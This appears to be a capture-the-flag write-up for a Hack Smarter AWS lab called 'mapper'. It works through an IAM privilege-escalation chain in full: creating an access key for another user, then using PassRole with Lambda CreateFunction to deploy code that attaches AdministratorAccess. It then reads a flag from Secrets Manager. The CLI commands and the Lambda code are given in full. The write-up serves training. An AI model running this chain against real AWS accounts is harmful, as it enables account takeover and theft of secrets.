> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/hack-smarter-labs/mapper.md).

# mapper

### Challenge Description

![](https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-45062fce399890da58166d6cf0d507e95f3143ff%2FPasted%20image%2020260829120736.png?alt=media)

You can access the lab [here](https://www.hacksmarter.org/courses/d4c6b154-23be-44ee-b15b-4efb860e053f)

### Solve

Configure the credentials:

```
aws sts get-caller-identity --profile mapper
{
    "UserId": "AIDATIGMRIQMTM6IKDZII"
    "Account": "223767249945",
    "Arn": "arn:aws:iam::223767249945:user/cg-pentest-lab"
}
```

The lab description suggests that we have a permissive audit user.

We can dump the account's IAM configuration with:

```
aws iam get-account-authorization-details --profile mapper
```

I used a tool I vibe-coded to visualize the IAM policies, although other tools are available.

{% embed url="<https://github.com/kabinet01/aws_iam_viewer>" %}

The account contains 102 users, 10 roles, and 14 policies.

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-c7fb053de9177de4284159af8576db40c62f6e82%2FPasted%20image%2020260829140016.png?alt=media" alt=""><figcaption></figcaption></figure>

The policy page shows three inline policies and no custom policies.

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-3b2638b1073a6c1175adaf53d8285e5b78a20a35%2FPasted%20image%2020260829140023.png?alt=media" alt=""><figcaption></figcaption></figure>

Our user's inline policy allows us to create access keys for all users.

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-ea7129cf35b32ba0f8ddbdee6ee5c961afa00127%2FPasted%20image%2020260829140039.png?alt=media" alt=""><figcaption></figcaption></figure>

The other useful inline policy is `cg-lammbda-developer-policy-lab`, which is attached to the `cg-ppmwswlc-lab` user.

This policy allows us to run `CreateFunction`, `InvokeFunction` and `PassRole`. This is very classic `iam:PassRole` + `lambda:CreateFunction` + `lambda:CreateFunction` privilege escalation technique. It is well documneted here: [https://www.hackthebox.eu/blog/privilege-escalation-in-aws-lambda](https://pathfinding.cloud/paths/lambda-001)

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-175c7b4ea7e75641f23ca4119474f47f91d8ebb4%2FPasted%20image%2020260829140051.png?alt=media" alt=""><figcaption></figcaption></figure>

The Roles tab shows only three relevant roles.

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-ac2e6d80afb9b6c77a07923df5b49edf4ab64be9%2FPasted%20image%2020260829140111.png?alt=media" alt=""><figcaption></figcaption></figure>

The `cg-LambdaAdminExecutionRole-lab` role is the most relevant. It has the `AdministratorAccess` policy attached. The role's trust policy allows Lambda to assume it.

<figure><img src="https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-efd623a9c69251d75cfc4bfeeb40637dbb1611ee%2FPasted%20image%2020260829140144.png?alt=media" alt=""><figcaption></figcaption></figure>

![](https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-b4409371af909ee41044dbfbdd44e18c6bb617e7%2FPasted%20image%2020260829134909.png?alt=media)

This gives us a classic AWS privilege-escalation chain:

1. Use the `CreateAccessKey` permission to create an access key for `cg-ppmwswlc-lab`.
2. Create a Lambda function:
   1. Configure the function with the `cg-LambdaAdminExecutionRole-lab` role.
   2. Use its administrator permissions to attach `AdministratorAccess` to the `cg-pentest-lab` user.
3. Invoke the Lambda function and verify that `cg-pentest-lab` has `AdministratorAccess`.
4. Access Secrets Manager to retrieve the flag.

Let's execute the attack chain.

Create an access key:

```
aws iam create-access-key --user-name cg-ppmwswlc-lab --profile mapper
```

![](https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-0f72f2ccad365d35f75947dbc99606af42d33582%2FPasted%20image%2020260829140255.png?alt=media)

Configure a profile for the new user, then create the function:

![](https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-85903113a9e2ab5e717126874ae81ae95f570739%2FPasted%20image%2020260829140332.png?alt=media)

Lambda function code:

```python
import boto3
import os

iam = boto3.client("iam")

USER_NAME = "cg-pentest-lab"
ADMIN_POLICY_ARN = "arn:aws:iam::aws:policy/AdministratorAccess"

def lambda_handler(event, context):
    iam.attach_user_policy(
        UserName=USER_NAME,
        PolicyArn=ADMIN_POLICY_ARN,
    )

    return {
        "statusCode": 200,
        "message": f"AdministratorAccess attached to {USER_NAME}",
    }
```

Zip the code into `function.zip` and create the Lambda function:

```bash
aws lambda create-function \
  --function-name grant-cg-pentest-admin \
  --runtime python3.12 \
  --handler lambda_function.lambda_handler \
  --role arn:aws:iam::223767249945:role/cg-LambdaAdminExecutionRole-lab \
  --zip-file fileb://function.zip \
  --region us-east-1 \
  --profile user1
```

![](https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-8c40c6cfaaee59f9de01027540e07347ff33d006%2FPasted%20image%2020260829140742.png?alt=media)

Invoke the function:

```shellscript
aws lambda invoke \
  --function-name grant-cg-pentest-admin \
  --profile user1 \
  --region us-east-1 \
  response.json
```

![](https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-3520b2eb3e54d061e5122b5ed272a3eb171a08ff%2FPasted%20image%2020260829140836.png?alt=media)

The output indicates that `AdministratorAccess` was attached to the `cg-pentest-lab` user. Verify the attachment with:

```shellscript
aws iam list-attached-user-policies --user cg-pentest-lab --profile mapper
```

![](https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-c13e75325c5e8ddb2c34a5ec21fe690c7d30b10b%2FPasted%20image%2020260829141054.png?alt=media)

The `cg-pentest-lab` user now has administrator access.

Access Secrets Manager to retrieve the flag:

```bash
aws secretsmanager list-secrets --profile mapper --region us-east-1
```

![](https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-861e53ca8f928e7e788f2e3a7e1c94a1a611c19d%2FPasted%20image%2020260829141156.png?alt=media)

{% code overflow="wrap" %}

```shellscript
aws secretsmanager get-secret-value --secret-id cg-admin-flag-lab --region us-east-1 --profile mapper
```

{% endcode %}

![](https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-70377797d23967e1663f33be987de63e0b92fdbf%2FPasted%20image%2020260829141246.png?alt=media)

The lab is complete. <3

![](https://4205640805-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzSO6zKRtEPX2coPJBU8f%2Fuploads%2Fgit-blob-2517067265f06a424d669a6e912d2d97a6c9dd78%2FPasted%20image%2020260829141420.png?alt=media)

### Conclusion

This is a straightforward lab if you're familiar with AWS. The main challenge is parsing a large amount of AWS IAM JSON, which is a pain in the ass doing so manually.

Several tools can help analyze AWS IAM, including PMapper, aws\_iam\_viewr, and IAMHound etc. Use whichever tool you're comfortable with, and the lab should be a breeze.